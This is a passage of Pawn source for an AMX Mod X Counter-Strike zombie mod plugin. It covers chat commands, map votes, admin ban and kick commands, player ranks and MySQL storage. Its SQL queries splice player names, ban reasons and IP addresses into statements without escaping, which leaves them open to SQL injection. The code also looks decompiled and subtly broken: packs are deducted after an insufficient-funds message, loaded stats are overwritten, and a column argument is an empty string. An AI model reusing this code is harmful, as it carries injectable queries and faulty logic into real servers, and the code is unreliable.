				if (0 < iTimeleft)
				{
					client_print_color(iPlayer, print_team_grey, "^1Time left:^4 %d:%02d", iTimeleft / 60, iTimeleft % 60);
				}
				else
				{
					client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [this is the last round]");
				}
			}
		}
		if (equali(cMessage, "/nextmap", 0) || equali(cMessage, "nextmap", 0))
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			if (cMap[0])
			{
				client_print_color(iPlayer, print_team_grey, "^1Next map:^4 %s", cMap);
			}
			else
			{
				client_print_color(iPlayer, print_team_grey, "^1Next map:^4 [not yet voted on]");
			}
		}
		if (equali(cMessage, "lm", 0) || equali(cMessage, "/lm", 0))
		{
			if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
			{
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 Mines are unavailable right now!");
			}
			else
			{
				if (5 > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You need at least^4 5 ammo packs");
				}
				g_iPacks[iPlayer] -= 5;
				g_iTripMines[iPlayer]++;
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 Press^3 P^1 to plant it or^3 V^1 to take it!");
				client_cmd(iPlayer, "bind p plant_mine; bind v take_mine");
			}
		}
		if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
		{
			static iAmmo;
			static iTarget;
			static cAmmo[5];
			static cTarget[32];
			static cDummy[15];
			parse(cMessage, cDummy, 14, cTarget, 32, cAmmo, 5);
			iTarget = GetTarget(iPlayer, cTarget, 0);
			iAmmo = str_to_num(cAmmo);
			if (!iTarget)
			{
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 Invalid player or matching multiple targets!");
				return 1;
			}
			if (0 >= iAmmo)
			{
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 Invalid value of packs to send!");
				return 1;
			}
			if (g_iPacks[iPlayer] < iAmmo)
			{
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 You are trying to send too many packs!");
				return 1;
			}
			if (iTarget == iPlayer)
			{
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 You are trying to send packs to you!");
				return 1;
			}
			AddCommas(iAmmo, cDummy, 14);
			g_iPacks[iTarget] += iAmmo;
			g_iPacks[iPlayer] -= iAmmo;
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 gave^4 %s packs^1 to^3 %s", g_cName[iPlayer], cDummy, g_cName[iTarget]);
			return 1;
		}
	}
	return 0;
}

public TaskLight()
{
	if (g_iRoundType & 2)
	{
		light("a");
	}
	else
	{
		static cLight[2];
		get_cvar_string("light", cLight, 1);
		light(cLight);
	}
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 4 && get_health(i) < 6000)
		{
			set_health(i, get_health(i) + 350);
			do_screen_fade(i, 0.60, 1.15, 255, 10, 10, 94);
			set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(i, g_iRegenerationSync, "== REGENERATOR ==^n!!!Regeneration: +350 HP Gained!!!");
		}
		i += 1;
	}
	return 0;
}

bool:AdminHasFlag(iPlayer, iFlag)
{
	static i;
	i = 0;
	while (i < 42)
	{
		if (iFlag == g_cAdminFlags[iPlayer][i])
		{
			return true;
		}
		i += 1;
	}
	return false;
}

public EventCurWeapon(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	if (g_bZombie[iPlayer])
	{
		switch (g_iWeapon[iPlayer])
		{
			case 4:
			{
                set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_v_grenade_infection.mdl");
                set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/z_out_p_grenade_infection.mdl");
			}
			case 29:
			{
				if (!g_iPlayerType[iPlayer])
				{
					set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
				}
				else
				{
					if (g_iPlayerType[iPlayer] & 1)
					{
                        set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_nemesis_claws.mdl");
					}
					if (g_iPlayerType[iPlayer] & 2)
					{
                        set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_assassin_claws.mdl");
					}
				}
				set_weaponmodel_null(iPlayer);
			}
			default:
			{
			}
		}
	}
	else
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			jet(iPlayer);
		}
		else
		{
			if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == 18)
			{
				set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_v_awp_sniper.mdl");
				set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/z_out_p_awp_sniper.mdl");
			}
			if (g_bGolden[iPlayer] && g_iWeapon[iPlayer] == 28)
			{
				set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/v_golden_ak47.mdl");
				set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/p_golden_ak47.mdl");
			}
			if (g_bGoldenDeagle[iPlayer] && g_iWeapon[iPlayer] == 26)
			{
				set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/v_golden_deagle.mdl");
				set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/p_golden_deagle.mdl");
			}
		}
	}
	return 0;
}

public CmdBan(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 100))
	{
		if (4 > read_argc())
		{
			console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_ban <#userid or name> <time> [reason]");
			return 1;
		}
		static Float:fGameTime;
		fGameTime = get_gametime();
		if (!floatsub(fGameTime, g_fLastBanQuery) >= 6.0)
		{
			console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
			return 1;
		}
		g_fLastBanQuery = fGameTime;
		static cTimeLength[32];
		static cReason[36];
		static iClient;
		static iTime;
		static cTime[15];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cTime, 6);
		read_argv(3, cReason, 36);
		iTime = str_to_num(cTime);
		if (0 > iTime)
		{
			iTime = 0;
		}
		if (iTime > 175000)
		{
			iTime = 175000;
		}
		if (0 < iTime)
		{
			GetTimeLength(iTime, cTimeLength, 32);
			iTime = iTime * 60;
		}
		iClient = GetTarget(iPlayer, cTarget, 4);
		if (iClient)
		{
			if (0 < iTime)
			{
				formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',(unix_timestamp(now())+%d),'%s',unix_timestamp(now()),'%s')", g_cName[iPlayer], g_cSteam[iPlayer], g_cSteam[iClient], g_cName[iClient], cReason, iTime, g_cInternetProtocolAddress[iClient], cTimeLength);
				SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cTime, 0);
			}
			else
			{
				formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',0,'%s',unix_timestamp(now()),'Permanently')", g_cName[iPlayer], g_cSteam[iPlayer], g_cSteam[iClient], g_cName[iClient], cReason, g_cInternetProtocolAddress[iClient]);
				SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cTime, 0);
			}
			if (0 < iTime)
			{
				AddCommas(iTime / 60, cTime, 14);
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 for^3 %s^1 minutes due to^3 %s", g_cName[iPlayer], g_cName[iClient], cTime, cReason);
			}
			else
			{
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", g_cName[iPlayer], g_cName[iClient], cReason);
			}
			server_cmd("kick #%d  You are banned! Check http://csaddicted.com/bans", get_user_userid(iClient));
		}
		return 1;
	}
	return 0;
}

public CmdFreeze(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 49))
	{
		static iTarget;
		static cTarget[33];
		read_argv(1, cTarget, 32);
		iTarget = GetTarget(iPlayer, cTarget, 6);
		if (iTarget)
		{
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 frost^1 due to^3 camping", g_cName[iPlayer], g_cName[iTarget]);
			set_frozen(iTarget, 1);
			set_glow(iTarget, 19, 32, 0, 50, 90);
			g_bFrozen[iTarget] = 1;
			ExecuteHamB(Ham_Item_PreFrame, iTarget);
		}
		return 1;
	}
	return 0;
}

public CmdKick(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 99))
	{
		if (3 > read_argc())
		{
			console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_kick <#userid or name> [reason]");
			return 1;
		}
		static iTarget;
		static cReason[36];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cReason, 36);
		iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
		if (iTarget)
		{
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 kicked^4 %s^1 due to^3 %s", g_cName[iPlayer], g_cName[iTarget], cReason);
			server_cmd("kick #%d  You are kicked!", get_user_userid(iTarget));
		}
		return 1;
	}
	return 0;
}

public MessageScenario()
{
	if (1 < get_msg_args())
	{
		static cSprite[8];
		get_msg_arg_string(2, cSprite, 8);
		if (equal(cSprite, "hostage", 0))
		{
			return 1;
		}
	}
	return 0;
}

public CmdVoteMap(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 103))
	{
		if (3 > read_argc())
		{
			console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_votemap <map> <map>");
			return 1;
		}
		if (g_bVoting || g_bSecondVoting)
		{
			console_print(iPlayer, "[Zombie Outstanding] You can't start the vote right now..");
			return 1;
		}	
		static cSecondMap[32];
		static cMap[32];
		read_argv(1, cMap, 32);
		read_argv(2, cSecondMap, 32);
		if (is_map_valid(cMap) && is_map_valid(cSecondMap))
		{
			static i;
			g_bSecondVoting = true;
			set_task(15.0, "CheckSecondVotes", iPlayer, "", 0, "", 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 ADMIN^4 %s^1 initiated a vote with^4 %s^1 and^4 %s", g_cName[iPlayer], cMap, cSecondMap);
			copy(g_cSecondMaps[0], 32, cMap);
			copy(g_cSecondMaps[1], 32, cSecondMap);
			g_iMenu = menu_create("Choose the next map!", "SecondVotePanel", 0);
			menu_additem(g_iMenu, cMap, "1", 0, -1);
			menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
			menu_setprop(g_iMenu, 6, -1);
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i])
				{
					menu_display(i, g_iMenu, 0);
				}
				i += 1;
			}
		}
		else
		{
			console_print(iPlayer, "[Zombie Outstanding] Unable to find specified map or one of the specified map(s)!");
		}
		return 1;
	}
	return 0;
}

public EmptyPanel(iPlayer, iMenu, iItem)
{
	return 0;
}

public VotePanel(iPlayer, iMenu, iItem)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer])
	{
		if (g_bVoting)
		{
			static iKeyMinusDoi;
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			iKeyMinusDoi = iKey + -2;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (0 > iKeyMinusDoi)
			{
				iKeyMinusDoi = 0;
			}
			if (iKey == 1)
			{
				if (g_iVotes[0] + 1 == 1)	
				{	
				    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
					g_iVotes[iKeyMinusUnu]++;
				}	
				else
				{
				    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
					g_iVotes[iKeyMinusUnu]++;
				}	
			}
			else
			{
				if (g_iVotes[iKeyMinusUnu] == 1)
				{
				    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				    g_iVotes[iKeyMinusUnu]++;
				}	
				else
				{
				    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				    g_iVotes[iKeyMinusUnu]++;
				}	
			}
		}
		else
		{
			client_print_color(iPlayer, print_team_grey, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public SecondVotePanel(iPlayer, iMenu, iItem)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer])
	{
		if (g_bSecondVoting)
		{
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (g_iSecondVotes[iKeyMinusUnu] == 1)
			{
			    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
			    g_iSecondVotes[iKeyMinusUnu]++;
			}
			else
			{
			    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
			    g_iSecondVotes[iKeyMinusUnu]++;
			}
		}
		else
		{
			client_print_color(iPlayer, print_team_grey, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public CmdSlay(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 101))
	{
		if (2 > read_argc())
		{
			console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_slay <#userid or name>");
			return 1;
		}
		static iTarget;
		static cTarget[32];
		read_argv(1, cTarget, 32);
		iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
		if (iTarget)
		{
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 slayed^4 %s", g_cName[iPlayer], g_cName[iTarget]);
			kill(iTarget);
		}
		return 1;
	}
	return 0;
}

public TimerChangeMap()
{
	if (!g_bEnded)
	{
		g_bEnded = true;
		g_fLastQuery = 999999.0;
		g_fLastRankQuery = 999999.0;
		g_fLastBanQuery = 999999.0;
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			g_bUnlimitedClip[i] = 0;
			g_bRanked[i] = 0;
			i += 1;
		}
		i = 0;
		while (i < 1500)
		{
			remove_task(i, 0);
			i += 1;
		}
		set_task(0.75, "ShutDownSQL", 0, "", 0, "", 0);
	}
	return 0;
}

public ShutDownSQL()
{
	g_fLastQuery = 999999.0;
	g_fLastRankQuery = 999999.0;
	g_fLastBanQuery = 999999.0;
	static i;
	i = 0;
	while (i < 1500)
	{
		remove_task(i, 0);
		i += 1;
	}
	client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Shutting down^3 MySQL^1 connection... Map change in^3 11 seconds!");
	set_task(11.75, "TaskInt", 0, "", 0, "", 0);
	return 0;
}

public TaskInt()
{
	if (callfunc_begin("First_SpecialTask", "MapEndManager.amxx") == 1)
	{
		callfunc_end();
	}
	set_task(0.12, "TaskChangeLevel", 800, "", 0, "", 0);
	return 0;
}

public TaskUnloadB()
{
	server_cmd("amxx pause ZombieOutstanding.amxx");
	return 0;
}

public TaskUpdateTime(iTask)
{
	if (g_bRanked[iTask + -400])
	{
		g_iOnlineTime[iTask + -400] += 5;
		GetTimeLength(g_iOnlineTime[iTask + -400], g_cOnlineTime[iTask + -400], 32);
		formatex(g_cQuery, 255, "UPDATE r SET y=y+5,t=unix_timestamp(now()) WHERE n='%s'", g_cName[iTask + -400]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, hQuery, 0);
		if (!(g_iOnlineTime[iTask + -400] % 2))
		{
			send_say_text(iTask + -400, g_iMaxClients + 1, "^4[Zombie Outstanding]^1 You played^4 +10 minutes^1 then you receive^4 4^1 packs!");
			g_iPacks[iTask + -400] += 4;
		}
	}
	return 0;
}

public SQLPreparePlayer(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	static iPlayer;
	iPlayer = str_to_num(cData);
	if (!g_bRanked[iPlayer])
	{
		if (SQL_NumResults(hQuery))
		{
			g_iScore[iPlayer] = SQL_ReadResult(hQuery, 0);
			g_iKills[iPlayer] = SQL_ReadResult(hQuery, 1);
			g_iDeaths[iPlayer] = SQL_ReadResult(hQuery, 2);
			g_iPoints[iPlayer] = SQL_ReadResult(hQuery, "");
			g_iOnlineTime[iPlayer] = SQL_ReadResult(hQuery, 4);
			GetTimeLength(g_iOnlineTime[iPlayer], g_cOnlineTime[iPlayer], 32);
			g_bRanked[iPlayer] = 1;
			show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.685, 1.75);
		}
		g_iScore[iPlayer] = 1000;
		g_iOnlineTime[iPlayer] = 0;
		g_iDeaths[iPlayer] = 0;
		g_iKills[iPlayer] = 0;
		g_iPoints[iPlayer] = 0;
		formatex(g_cQuery, 256, "INSERT INTO r VALUES ('%s','%s','%s',1000,0,0,0,0,unix_timestamp(now()))", g_cName[iPlayer], g_cInternetProtocolAddress[iPlayer], g_cSteam[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLLoadedRank", g_cQuery, cData, 3);
		g_iRanksCount += 1;
	}
	return 0;
}

public SQLGetMaps(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	if (SQL_NumResults(hQuery) > 3 && get_cvar_num("mp_timelimit") > 3)
	{
		static bool:bStop;
		static cMaps[128][32];
		static iRandom;
		static iPreparedMaps;
		static iValidMaps;
		static iMaps;
		iPreparedMaps = 0;
		iValidMaps = 0;
		iMaps = 0;
		while (SQL_MoreResults(hQuery))
		{
			SQL_ReadResult(hQuery, 0, cMaps[iMaps], 32);
			if (is_map_valid(cMaps[iMaps]))
			{
				iValidMaps += 1;
			}
			iMaps += 1;
			SQL_NextRow(hQuery);
		}
		if (iValidMaps > 3)
		{
			while (iPreparedMaps != 4)
			{
				iRandom = random_num(0, iMaps + -1);
				bStop = false;
				g_iVariable = 0;
				while (g_iVariable < 4)
				{
					if (equal(cMaps[iRandom], g_cMaps[g_iVariable], 0))
					{
						bStop = true;
					}
					g_iVariable += 1;
				}
				if (!bStop)
				{
					if (is_map_valid(cMaps[iRandom]))
					{
						formatex(g_cMaps[iPreparedMaps], 32, "%s", cMaps[iRandom]);
						iPreparedMaps += 1;
					}
				}
			}
			set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
		}
		else
		{
			set_cvar_string("nextmap", "zm_ice_attack3");
		}
	}
	else
	{
		set_cvar_string("nextmap", "zm_ice_attack3");
	}
	return 0;
}

public CheckSecondVotes()
{
	static iVoteOption;
	static iMaximumVotes;
	g_bSecondVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 2)
	{
		if (iMaximumVotes < g_iSecondVotes[g_iVariable])
		{
			iMaximumVotes = g_iSecondVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	client_print_color(0, print_team_grey, "^1The next map will be^4 %s", g_cSecondMaps[iVoteOption]);
	set_cvar_string("nextmap", g_cSecondMaps[iVoteOption]);
	if (g_bConnected[g_iVoter])
	{
		g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange", 0);
		menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
		menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
		menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
		menu_setprop(g_iMenu, 6, -1);
		menu_display(g_iVoter, g_iMenu, 0);
	}
	g_iSecondVotes[3] = 0;
	g_iSecondVotes[2] = 0;
	g_iSecondVotes[1] = 0;
	g_iSecondVotes[0] = 0;
	return 0;
}

public _MenuChange(iPlayer, iMenu, iItem)
{
	static iChoice;
	static iDummy;
	static cBuffer[3];
	menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, "", {0}, 0, iDummy);
	iChoice = str_to_num(cBuffer);
	switch (iChoice)
	{
		case 0:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Changing map to^4 %s^1...", cMap);
			set_cvar_num("mp_timelimit", 4096);
            set_task(1.0, "TimerChangeMap", 0, "", 0, "", 0);
		}
		case 1:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Console variable^4 nextmap^1 has been changed to^4 %s^1...", cMap);
			set_cvar_num("mp_timelimit", 4096);
		}
		case 2:
		{
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 We will stay here...");
		}
		default:
		{
		}
	}
	return 0;
}

public CheckVotes()
{
	static iVoteOption;
	static iMaximumVotes;
	g_bVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		if (iMaximumVotes < g_iVotes[g_iVariable])
		{
			iMaximumVotes = g_iVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	if (iVoteOption)
	{
		client_print_color(0, print_team_grey, "^1The next map will be^4 %s", g_cMaps[iVoteOption + -1]);
		set_cvar_string("nextmap", g_cMaps[iVoteOption + -1]);
		set_cvar_num("mp_timelimit", 4096);
	}
	else
	{
		client_print_color(0, print_team_grey, "^1This map will be extended with^4 10^1 minutes!");
		set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
		set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
	}
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		g_iVotes[g_iVariable] = 0;
		g_iVariable += 1;
	}
	return 0;
}

public CheckTimeleft(iDecimal)
{
	static Float:fTimeLeft;
	fTimeLeft = GetTimeLeft();
	if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.0 && !g_bSecondVoting && !g_bVoting)
	{
		remove_task(iDecimal, 0);
		g_bVoting = true;
		set_task(15.0, "CheckVotes", 0, "", 0, "", 0);
		g_iMenu = menu_create("Choose the next map!", "VotePanel", 0);
		menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
		static j[32];
		static i;
		i = 2;
		g_iVariable = 0;
		while (g_iVariable < 4)
		{
			num_to_str(i, j, 32);
			menu_additem(g_iMenu, g_cMaps[g_iVariable], j, 0, -1);
			i += 1;
			g_iVariable += 1;
		}
		menu_setprop(g_iMenu, 6, -1);
		g_iVariable = 1;
		while (g_iMaxClients + 1 > g_iVariable)
		{
			if (g_bConnected[g_iVariable])
			{
				menu_display(g_iVariable, g_iMenu, 0);
			}
			g_iVariable += 1;
		}
	}
	return 0;
}

public SQLCheckAdmin(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	if (SQL_NumResults(hQuery) == 1)
	{
		new iPlayer;
		new cPassword[32];
		new cFlags[42];
		new cTag[32];
		iPlayer = str_to_num(cData);
		SQL_ReadResult(hQuery, 0, cFlags, 41);
		SQL_ReadResult(hQuery, 1, cPassword, 31);
		SQL_ReadResult(hQuery, 2, cTag, 31);
		if (equali(cPassword, g_cPasswords[iPlayer], 0) && strlen(cPassword) && strlen(cFlags) && strlen(g_cPasswords[iPlayer]))
		{
			g_bAdmin[iPlayer] = 1;
			formatex(g_cAdminFlags[iPlayer], 42, "%s", cFlags);
			formatex(g_cTag[iPlayer], 24, "%s", cTag);
			show_glow_message(iPlayer, "You are now administrator!", 6904269, 0.02, 0.6, 1.75);
		}
		else
		{
			g_bAdmin[iPlayer] = 0;
			formatex(g_cAdminFlags[iPlayer], 42, "%s", cFlags);
			server_cmd("kick #%d  Incorrect password!", get_user_userid(iPlayer));
		}
	}
	return 0;
}

public SQLBanCheck(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	if (SQL_NumResults(hQuery))
	{
		server_cmd("kick #%d  You are banned! Check http://csaddicted.com/bans", get_user_userid(str_to_num(cData)));
	}
	return 0;
}

GetTimeLength(iTime, sTime[], iLength)
{
	static sElement[2][12];
	static sA[15];
	static iElement;
	static iSecond;
	static iMinute;
	static iHour;
	iSecond = 0;
	iMinute = 0;
	iHour = 0;
	iElement = -1;
	iSecond = iTime * 60;
	iHour = iSecond / 3600;
	iSecond = iSecond - iHour * 3600;
	iMinute = iSecond / 60;
	iSecond = iSecond - iMinute * 60;
	if (0 < iHour)
	{
		AddCommas(iHour, sA, 14);
		iElement += 1;
		formatex(sElement[iElement], 11, "%s h", sA);
	}
	iElement += 1;
	formatex(sElement[iElement], 11, "%d m", iMinute);
	switch (iElement)
	{
		case 0:
		{
			formatex(sTime, iLength, "%s", sElement[0]);
		}
		case 1:
		{
			formatex(sTime, iLength, "%s %s", sElement[0], sElement[1]);
		}
		default:
		{
		}
	}
	return 0;
}

Float:GetTimeLeft()
{
    return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
}

public client_disconnect(iPlayer)
{
	static iTimeLimit;
	iTimeLimit = get_pcvar_num(g_iTimeLimit);
	if (iTimeLimit != 4096)
	{
		if (g_bAlive[iPlayer])
		{
			CheckLastPlayer(iPlayer);
		}
		InsertInfo(iPlayer);
		ArrayPushString(g_aNameData, g_cName[iPlayer]);
		ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
	}
	remove_task(iPlayer + 50, 0);
	remove_task(iPlayer + 100, 0);
	remove_task(iPlayer + 150, 0);
	remove_task(iPlayer + 250, 0);
	remove_task(iPlayer + 200, 0);
	remove_task(iPlayer + 300, 0);
	remove_task(iPlayer + 850, 0);
	remove_task(iPlayer + 350, 0);
	remove_task(iPlayer + 400, 0);
	remove_task(iPlayer + 500, 0);
	remove_task(iPlayer + 450, 0);
	if (g_iPlantedMines[iPlayer])
	{
		g_iPoints[iPlayer] = 0;
		g_iPlantedMines[iPlayer] = 0;
	}
	g_iPlayerMines[iPlayer][1] = 0;
	g_iPlayerMines[iPlayer][0] = 0;
	g_iPlantedMines[iPlayer] = 0;
	g_iTripMines[iPlayer] = 0;
	g_iBlinks[iPlayer] = 0;
	g_bRemoving[iPlayer] = 0;
	g_bPlanting[iPlayer] = 0;
	g_bAdminModel[iPlayer] = 0;
	g_bServerSlot[iPlayer] = 0;
	g_bDoubleDamage[iPlayer] = 0;
	g_bUnlimitedClip[iPlayer] = 0;
	g_bTryder[iPlayer] = 0;
	g_bAlive[iPlayer] = 0;
	g_bConnected[iPlayer] = 0;
	g_fGagTime[iPlayer] = 0;
	return 0;
}

public SQLGetRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	static cScore[15];
	static cDeaths[15];
	static cKills[15];
	static cTotal[15];
	static cRank[15];
	static iRank;
	static iPlayer;
	iPlayer = str_to_num(cData);
	iRank = SQL_NumResults(hQuery);
	AddCommas(iRank, cRank, 15);
	AddCommas(g_iRanksCount, cTotal, 15);
	AddCommas(g_iDeaths[iPlayer], cDeaths, 15);
	AddCommas(g_iKills[iPlayer], cKills, 15);
	AddCommas(g_iScore[iPlayer], cScore, 15);
	g_iMenu = menu_create("Ranking", "EmptyPanel", 0);
	formatex(g_cQuery, 255, "Rank: %s of %s  Score: %s", cRank, cTotal, cScore);
    menu_additem(g_iMenu, g_cQuery, "1", 0, -1);
	new var1;
	if (g_iDeaths[iPlayer])
	{
		var1 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
	}
	else
	{
		var1 = float(g_iKills[iPlayer]);
	}
	formatex(g_cQuery, 255, "Kills: %s  Deaths: %s  KPD: %0.2f", cKills, cDeaths, var1);
    menu_additem(g_iMenu, g_cQuery, "2", 0, -1);
	formatex(g_cQuery, 255, "Online: %s", g_cOnlineTime[iPlayer]);
    menu_additem(g_iMenu, g_cQuery, "3", 0, -1);
    menu_setprop(g_iMenu, 6, -1);
    menu_display(iPlayer, g_iMenu, 0);
	new var2;
	if (g_iDeaths[iPlayer])
	{
		var2 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
	}
	else
	{
		var2 = float(g_iKills[iPlayer]);
	}
	client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1's rank is^4 %s^1 of^4 %s^1 --^3 %0.2f KPD", g_cName[iPlayer], cRank, cTotal, var2);
	return 0;
}

public EventHLTV()
{
	g_bRoundStart = true;
	g_bModeStarted = false;
	g_fRoundStartTime = get_gametime();
	return 0;
}

public TaskCounter()
{
